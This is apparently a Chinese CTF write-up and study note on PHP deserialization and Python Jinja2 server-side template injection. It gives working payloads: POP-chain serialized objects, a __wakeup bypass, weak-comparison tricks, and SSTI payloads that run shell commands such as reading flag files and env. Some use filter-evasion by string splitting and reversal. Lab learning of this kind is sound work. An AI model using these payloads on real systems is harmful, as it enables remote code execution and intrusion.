WebSec 之 PHP反序列化 与 Python SSTI

反序列化

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作

PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称

反序列化1

访问 robots.txt 拿到新地址,访问得到源码

<?php

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
	}
}

$wllm_var = new wllm();
$stus = serialize($wllm_var);
print_r($stus);
?> 

构造

<?php

class wllm{
    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin = "admin";
        $this->passwd = "ctf";
	}
}

$wllm_var = new wllm();
$stus = serialize($wllm_var);
print_r($stus);

payload

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

GET 传参

?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}

反序列化2

查看网页源码发现有 URL,访问,结合 show_source("class.php"); 确认是 class.php 源码

与反序列化1相比多了 __wakeup()

public function __wakeup(){
	$this->passwd = sha1($this->passwd);
}

sha1() 为散列函数,其输出为 160 bit 数,长度不符,无法找到输出为字符串 wllm 的原像

数学中,(image)又称像点镜像,是一个跟函数相关的用语;简言之,就是当元素 x\displaystyle x映射至元素 y\displaystyle y,则 y\displaystyle yx\displaystyle x 的“像”,而 x{\displaystyle x}y{\displaystyle y} 的“原像”

inverse image

想办法绕过 __wakeup()

如果存在 __wakeup 方法,调用 unserilize() 方法前则先调用 __wakeup 方法。而序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行;于是构造

<?php

class HaHaHa{ # 题目给出的类名
    public $admin='admin';
    public $passwd='wllm';
}

$cla = new HaHaHa();
$poc = serialize($cla);
echo $poc."<br>";
$payload = str_replace('2','3',$poc); # 替换为与原本不同的元素个数来绕过 __wakeup
echo '?p='.$payload;

?>

反序列化3

__toString():类被当成字符串时被调用,如出现 echo 或者 pre_match

官方说法:方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么

PHP: 魔术方法 - Manual

如何调用 w33m?利用 w22m 的魔术方法 __destruct()

构造链如下

w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

实现如下

<?php

class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$w22 = new w22m();
$w33 = new w33m();
$w44 = new w44m();

$w22->w00m=$w33;
$w33->w00m=$w44;
$w33->w22m='Getflag';

echo urlencode(serialize($w22));
?>

因输出含有不可见字符,使用 urlencode() 进行 URL 编码后输出,方便利用

最终payload

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

反序列化4

include() 发生在需要比较输入是否与其相等的值后,也就是说变量可能会被覆盖

同时发现在处理时使用弱比较 ==

可利用 PHP 中使用 == 比较时,Bool True 与字符串比较始终返回 1 的特点,使得 if() 成立

<?php

$ab=array(
    'username'=>true,
	'password'=>true
);

$b=serialize($ab);
echo $b;

?>

反序列化5

先调用 NISA 中的 __wakeup() 查看 hint(),继续执行时需要修改 $fun

过滤 system,大小写绕过

$fun 是私有属性,所以反序列化会产生空字符,用 URLencode 避免问题

<?php

class NISA{
    public $fun;
    public $txw4ever='System("cat /f*");';
}

class TianXiWei{
    public $ext;
    public $x;
    public function __construct()
    {
        $this->ext=new Ilovetxw();
    }
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';
}

$a=new TianXiWei();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=new NISA();

echo urlencode(serialize($a));
?>

SSTI

SSTI-level1

{{1+2}} 测试发现存在 SSTI

无过滤

找到基类后访问其包含敏感操作的属性

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

本题 payload 不唯一


SSTI-level2

过滤 {{

% + print() 绕过找到基类后访问其包含敏感操作的属性

{%print(1+2)%}

返回3,说明绕过 {{ 检测成功

{%print(url_for.__globals__.__builtins__['__import__']('os').popen('cat f*').read())%}

本题 payload 不唯一


SSTI2-1

  1. 寻找注入点,参数是 name(使用常见字典爆破)
  2. 注意在利用ssti的文件读取就是第一种方法时,要自己寻找可利用的文件读取类 <class ‘_frozen_importlib_external.FileLoader’> 环境不同,位置不同,需要推测(使用课堂发布的脚本)
  • 利用文件读取,118是文件读取类 <class ‘_frozen_importlib_external.FileLoader’> 的位置,利用其中的文件读取函数来读取文件
?name={{"".__class__.__base__.__subclasses__()[118]["get_data"](0,"flag")}}
  • 利用 os 模块实现 RCE
?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}}

SSTI2-2

关键字符串检测,使用 python 特性用 '' 实现拼接绕过,注意如果有下划线(保留字),需要使用 [] 框柱,以正常运行

获取到子类后,使用课堂发布的脚本查找 warnings.catch_warningsindex

import json

classes="""
"""

num=0
alllist=[]
result=""
# 整理数据, 使其变为规范的 list, 方便查找 index
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i

for k,v in enumerate(alllist):
    if "warnings.catch_warnings" in v:
        print(str(k)+"--->"+v)

利用他的子类 __builtins__

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}

SSTI2-3

/?name=1

发现正常输出(参数来自网页提示)

/?name=1+1

加号消失

尝试

/?name={{1+1}}

失败

/?name=1+2

变为 2 1,猜测存在逆序

/?name=3*1

变为 1*3,猜测正确

/?name=}}1+1{{

成功输出2

使用带大家安装的附带有 SSTI Payload 的 hackbar

生成 from TUPLE to RCE Payload

用 CyberChef 逆序后回传,实现 RCE;CyberChef 配方为:CyberChef

但 flag 并不在根目录与网页目录

这时考虑环境变量,Linux 中访问环境变量的命令为 env,于是替换生成的 Payload 中的要调用系统执行的参数为 env,即可找到 flag

Payload:

}%rofdne%{}%fidne%{}})(daer.)'vne'(nepop.)'so'(]'__tropmi__'[__snitliub__.eludom_.)(x{{}% __eman__.)x(ni'raw'fi%{}%)(__sessalcbus__.__esab__.__ssalc__.)(ni)x(rof%{

Happy

PHP Happy

利用 PHP 中 == 弱比较,以及 PHP 中 md5() 遇到数组会返回 Null,而 Null == Null 返回 True。此方法优点为强比较时也可用

综上,传入不相等的数组实现程序流达到目标函数

payload

GET
name[]=1
POST
password[]=2
  • 注意本题需要用 GETPOST 方法同时传参

本题方法不唯一


自动化工具(仅在题目允许爆破时使用):

Fenjing


引用1:

1、__get__set

这两个方法是为在类和他们的父类中没有声明的属性而设计的

__get( $property ) 当调用一个未定义的属性时访问此方法

__set( $property, $value ) 给一个未定义的属性赋值时调用

这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

2、__isset__unset

__isset( $property ) 当在一个未定义的属性上调用 isset() 函数时调用此方法

__unset( $property ) 当在一个未定义的属性上调用 unset() 函数时调用此方法

__get 方法和 __set 方法相同,这里的没有声明包括访问控制为 proteced,private 的属性(即没有权限访问的属性)

3、__call

__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、__autoload

__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

5、__construct__destruct

__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称

__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法

默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.

在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。

6、__clone

PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。

7、__toString

__toString 方法在将一个对象转化成字符串时自动调用,比如使用 echo 打印对象时,如果类没有实现此方法,则无法通过 echo 打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。

在PHP 5.2.0之前,__toString 方法只有结合使用 echo()print() 时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但 不能用于非字符串环境(如使用 %d 修饰符)

从 PHP 5.2.0,如果将一个未定义 __toString 方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR 错误。

8、__sleep__wakeup

__sleep 串行化的时候用

__wakeup 反串行化的时候调用

serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、__set_state

当调用 var_export() 时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按 array(’property’ => value, …) 格式排列的类属性。

10、__invoke

当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP 5.3.0以上版本有效

11、__callStatic

它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。

同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。


引用2:

5.3.7. 反序列化 — Web安全学习笔记 1.0 文档

SSTI之细说jinja2的常用构造及利用思路 - 蚁景网安实验室

FLask SSTI从零到入门 - 跳跳糖

SSTI (Server Side Template Injection) | Chinese - Ht | HackTricks

SSTI in Flask/Jinja2. What is SSTI ( Server-Side Template… | by IndominusByte | Medium

Python SSTI 总结笔记 - X1r0z Blog

SSTI 注入 - Hello CTF

关于SSTI注入的二三事 - 先知社区


反序列化题目来源:


SSTI题目来源: